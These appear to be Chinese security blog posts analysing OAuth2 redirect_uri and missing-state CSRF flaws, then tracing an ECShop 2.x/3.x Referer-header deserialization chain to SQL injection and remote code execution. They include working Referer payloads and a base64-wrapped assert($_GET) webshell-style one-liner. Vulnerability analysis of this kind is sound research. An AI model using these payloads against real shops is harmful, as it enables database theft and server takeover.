如果能再二次重定向的地方加一个权限验证,即attacker app与oauth匹配,会不会避免这样的越权呢?

其次就是,如果我们省略三方授权,直接诱导用户点击第二步的location,不就更省事了么?这点我邮寄了sam师傅,希望日后有其它研究的师傅可以指点一下~

Oauth2的两类漏洞挖掘

Oauth2的两类漏洞挖掘

一直忘了总结这个,结合OPPX的网站(无漏洞站点)说明一下

redict_uri限制不严格(Oauth配置错误)

逻辑

一般登陆选项是这样,常见的是QQ/微信/微博/…授权登陆

点击QQ授权的时候请求包和返回包如下

request:

POST /oauth2.0/authorize HTTP/1.1
Host: graph.qq.com
response_type=code&client_id=100498628&redirect_uri=https%3A%2F%2Fmy.oppo.com%2Fauth%2Fqqcallback&scope=get_user_info%2Cadd_share%2Clist_album%2Cadd_album%2Cupload_pic%2Cadd_topic%2Cadd_one_blog%2Cadd_weibo%2Ccheck_page_fans%2Cadd_t%2Cadd_pic_t%2Cdel_t%2Cget_repost_list%2Cget_info%2Cget_other_info%2Cget_fanslist%2Cget_idolist%2Cadd_idol%2Cdel_idol%2Cget_tenpay_addr&state=49085978f5e969063165246c6d07e062&switch=&from_ptlogin=1&src=1&update_auth=1&openapi=80901010&g_tk=1156350624&auth_time=1550070856795&ui=97557FF6-0331-4598-BC09-6CD21B7106E0

response:

HTTP/1.1 302 Moved Temporarily
Server: nginx
Date: Wed, 13 Feb 2019 15:17:13 GMT
Content-Type: text/html
Content-Length: 0
Connection: close
Location: https://my.oppo.com/auth/qqcallback?code=5E0AA09C0CA8179C186688ABAF4BE043&state=49085978f5e969063165246c6d07e062

流程:请求graph.qq.com获得授权,拿到auth code后拼接到redirect_uri再请求,这点可以在返回包中的Location看到。

漏洞思路就是redict_uri限制不到位,严重的情况是没有限制域,一般情况是redict_uri可以到子域。QQ做了限制,拿cline_id和redirec_uri比对,不相符就返回False,如下

案例-第三方帐号快捷登录授权劫持漏洞

修改redirect_uri到子域(一般是论坛站点,可以加载外域图片的地方,或者是可以XSS的地方)。location跳转到子域后访问我们外域地址,referer就携带了code。

相关链接

KEY:https://gh0st.cn/archives/2018-02-12/1

无state导致CSRF产生的账户接管

用户在第三方网站A上登录后,通过Authorization code方式的绑定流程。

案例

拿绑定QQ为例子。

一般在登陆后的个人中心页面有绑定社交用户的功能,依然是请求greph.qq.com获取code,拼接到redirect_uri访问后完成绑定。如果没有state参数,用户在A登陆后进行,点击攻击者的redict_uri+code链接,就把用户A绑定在了攻击者的QQ上。可以看作是CSRF

相关链接

OAuth2.0忽略state参数引发的CSRF漏洞:https://blog.csdn.net/gjb724332682/article/details/54428808

Oauth配置错误导致的账户接管:https://mp.weixin.qq.com/s/6lc6CHVjdXU1Zy4wWRIHzg

Echsop2.7.x几处漏洞分析

Echsop2.7.x几处漏洞分析

前言

这些洞是在半年前公布的细节,当时没来得及关注。最近在给自己定目标,决定重新刷一遍这些洞。

SQL注入

由于未对Reffer内容进行过滤而造成的SQL注入

漏洞位置user.php:302

elseif ($action == 'login')
{
    if (empty($back_act))
    {
        if (empty($back_act) && isset($GLOBALS['_SERVER']['HTTP_REFERER']))
        {
            $back_act = strpos($GLOBALS['_SERVER']['HTTP_REFERER'], 'user.php') ? './index.php' : $GLOBALS['_SERVER']['HTTP_REFERER'];
        }
        else
        {
            $back_act = 'user.php';
        }

    }

    $smarty->assign('back_act', $back_act);
    $smarty->display('user_passport.dwt');
}

$back_act可控为Reffer值,跟进assign

/**
 * 注册变量
 *
 * @access  public
 * @param   mix      $tpl_var
 * @param   mix      $value
 *
 * @return  void
 */
function assign($tpl_var, $value = '')
{
    if (is_array($tpl_var))
    {
        foreach ($tpl_var AS $key => $val)
        {
            if ($key != '')
            {
                $this->_var[$key] = $val;
            }
        }
    }
    else
    {
        if ($tpl_var != '')
        {
            $this->_var[$tpl_var] = $value;
        }
    }
}

assign()注册了模板变量$this->_var[‘back_act’],这里注册的变量在后面的页面模板编译中会用到

继续跟进user的display函数

/**
 * 显示页面函数
 *
 * @access  public
 * @param   string      $filename
 * @param   sting      $cache_id
 *
 * @return  void
 */
function display($filename, $cache_id = '')
{
    error_reporting(E_ALL ^ E_NOTICE);

    $out = $this->fetch($filename, $cache_id);

    if (strpos($out, $this->_echash) !== false)
    {
        $k = explode($this->_echash, $out);
        foreach ($k AS $key => $val)
        {
            if (($key % 2) == 1)
            {
                $k[$key] = $this->insert_mod($val);
            }
        }
        $out = implode('', $k);
    }

    echo $out;
}

Display中调用fetch函数处理模板文件:user_passport.dwt,跟进关键代码

/**
 * 处理模板文件
 *
 * @access  public
 * @param   string      $filename
 * @param   sting      $cache_id
 *
 * @return  sring
 */
function fetch($filename, $cache_id = '')
{
    ...
    $out = $this->make_compiled($filename);
    ...
    return $out; // 返回html数据
}

$filename就是user_passport.dwt,关键内容如下

<tr>
<td colspan="2" align="center"><input type="hidden" name="act" value="act_login" />
  <input type="hidden" name="back_act" value="{$back_act}" />
  <input type="submit" name="submit" value="{$lang.confirm_login}" /></td>
</tr>

通过make_compiled函数编译模板文件,编译时会把之前注册的模板变量渲染到{$back_act}。$out即为渲染后的html代码块

继续跟进流程,回到display。$out内容被分割为两部分,分割依据是$this->_echash,而$this->_echash参数值固定

$k = explode($this->_echash, $out);
foreach ($k AS $key => $val)
{
    if (($key % 2) == 1)
    {
        $k[$key] = $this->insert_mod($val);
    }
}

跟进insert_mod

function insert_mod($name) // 处理动态内容
{
    list($fun, $para) = explode('|', $name);
    $para = unserialize($para);
    $fun = 'insert_' . $fun;

    return $fun($para);
}

继续对$out内容以“|”形式分割成$fun、$para,|后的内容进行反序列化,再动态调用$fun函数。至此,函数名$fun可控,函数内容$para可控,找一个以Insert_开头的可利用的函数

function insert_ads($arr)
{
    static $static_res = NULL;

    $time = gmtime();
    if (!empty($arr['num']) && $arr['num'] != 1)
    {
        $sql  = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' .
                    'p.ad_height, p.position_style, RAND() AS rnd ' .
                'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.
                'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .
                "WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' ".
                    "AND a.position_id = '" . $arr['id'] . "' " .
                'ORDER BY rnd LIMIT ' . $arr['num'];
        $res = $GLOBALS['db']->GetAll($sql);
    }

触发SQL注入,构造的PAYLOAD形式:

echash+ads|serialize(array("num"=>sqlpayload,"id"=>1))

创宇提供的一个payload示例如下:

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}

采用limit注入,利用procedure analyse函数。具体见P师傅文章:https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html

RCE分析

RCE利用点还是insert_ads函数,参数的处理流程很大一部分是上文SQL注入的流程,这里分析3.x版本的RCE

继续跟进ads函数,重点部分代码如下:

function insert_ads($arr)
{
    foreach ($res AS $row)
    {
        if ($row['position_id'] != $arr['id'])
        {
            continue;
        }
        $position_style = $row['position_style'];
        ...
    }

    $position_style = 'str:' . $position_style;
    $GLOBALS['smarty']->assign('ads', $ads);
    $val = $GLOBALS['smarty']->fetch($position_style);
}

$res为查询结果,即$row[‘position_id’]可用SQL注入的Union select控制,$arr[‘id’]也可控,当两者相等时$position_style的值就可控为$row[‘position_style’]。接着又调用assgin注册变量、fetch编译模板。再看fetch函数

/**
     * 处理模板文件
     *
     * @access  public
     * @param   string      $filename
     * @param   sting      $cache_id
     *
     * @return  sring
     */
function fetch($filename, $cache_id = '')
{
    if (strncmp($filename,'str:', 4) == 0)
    {
        $out = $this->_eval($this->fetch_str(substr($filename, 4)));
    }
    else
    {
         ......

由于字符串前被拼接了str:,所以进入$this->_eval函数处理,这也是最终的漏洞触发点,可以eval我们构造的恶意语句。

但是再_eval之前经过fetch_str处理字符串,跟进

    /**
     * 处理字符串函数
     *
     * @access  public
     * @param   string     $source
     *
     * @return  sring
     */
    function fetch_str($source)
    {
        if (!defined('ECS_ADMIN'))
        {
            $source = $this->smarty_prefilter_preCompile($source);
        }
        $source=preg_replace("/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |\()/is", "", $source);
        if(preg_match_all('~(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\']?php[\"\']?)~is', $source, $sp_match))
        {
            $sp_match[1] = array_unique($sp_match[1]);
            for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
            {
                $source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source);
            }
             for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
            {
                 $source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo \''.str_replace("'", "\'", $sp_match[1][$curr_sp]).'\'; ?>'."\n", $source);
            }
         }
         return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
    }

第一个正则会匹配危险的字符串函数,重点在最后一个正则。\\1是替代表达,匹配到的字符串会替代\\1的位置。

eg:return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", "xxx{abc}xxx");结果就是return $this->select('{abc}')

跟进select函数

/**
 * 处理{}标签
 *
 * @access  public
 * @param   string      $tag
 *
 * @return  sring
 */
function select($tag)
{
    $tag = stripslashes(trim($tag));

    if (empty($tag))
    {
        return '{}';
    }
    elseif ($tag{0} == '*' && substr($tag, -1) == '*') // 注释部分
    {
        return '';
    }
    elseif ($tag{0} == '$') // 变量
    {
//            if(strpos($tag,"'") || strpos($tag,"]"))
//            {
//                 return '';
//            }
        return '<?php echo ' . $this->get_val(substr($tag, 1)) . '; ?>';
    }
    ......

trim处理了字符串两边的{},最后返回一段php标签下的字符串,如果成功返回,则之前的eval就可以执行这段php字符串。不过这个值的获取取决于get_val,跟进get_val

/**
 * 处理smarty标签中的变量标签
 *
 * @access  public
 * @param   string     $val
 *
 * @return  bool
 */
function get_val($val)
{
    if (strrpos($val, '[') !== false)
    {
        $val = preg_replace("/\[([^\[\]]*)\]/eis", "'.'.str_replace('$','\$','\\1')", $val);
    }

    if (strrpos($val, '|') !== false)
    {
        $moddb = explode('|', $val);
        $val = array_shift($moddb);
    }

    if (empty($val))
    {
        return '';
    }

    if (strpos($val, '.$') !== false)
    {
        $all = explode('.$', $val);

        foreach ($all AS $key => $val)
        {
            $all[$key] = $key == 0 ? $this->make_var($val) : '['. $this->make_var($val) . ']';
        }
        $p = implode('', $all);
    }
    else
    {
        $p = $this->make_var($val);
    }

若$val不存在.$则进入make_var()

/**
 * 处理去掉$的字符串
 *
 * @access  public
 * @param   string     $val
 *
 * @return  bool
 */
function make_var($val)
{
    if (strrpos($val, '.') === false)
    {
        if (isset($this->_var[$val]) && isset($this->_patchstack[$val]))
        {
            $val = $this->_patchstack[$val];
        }
        $p = '$this->_var[\'' . $val . '\']';
    }
    else
    {
       .....

这个make_var的$val可控,则表明返回的$p可控,最终返回的$this->get_val()就可控,也就是$this->_eval的实参可控(一段PHP标签下的字符串),从而getshell。

构造Payload我用逆推的思路,逐步满足每个函数判断的条件

最终的POC要结合SQL注入,通过id和num参数将order by注释

再利用union select构造指定列的值:第二列postion_id,第七列position_style

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca

id的值就是' /*,num的值*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -,0x27202f2a是' /*的16进制值,也就是第二列$row['position_id']的值。0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d{$'];phpinfo/**/();//}的16进制值

漏洞修复

看到ecshop4/ecshop/includes/lib_insert.php

对id和num进行强制类型转换了,字符串无法利用

题外话

创宇WAF拦截的Payload是这样

{$abc'];assert(base64_decode('YXNzZXJ0KCRfR0VUWyd4J10pOw=='));//}

巧妙解决了$_GET[]的[]问题,测试用法

参考链接

https://paper.seebug.org/695/#_5

not found!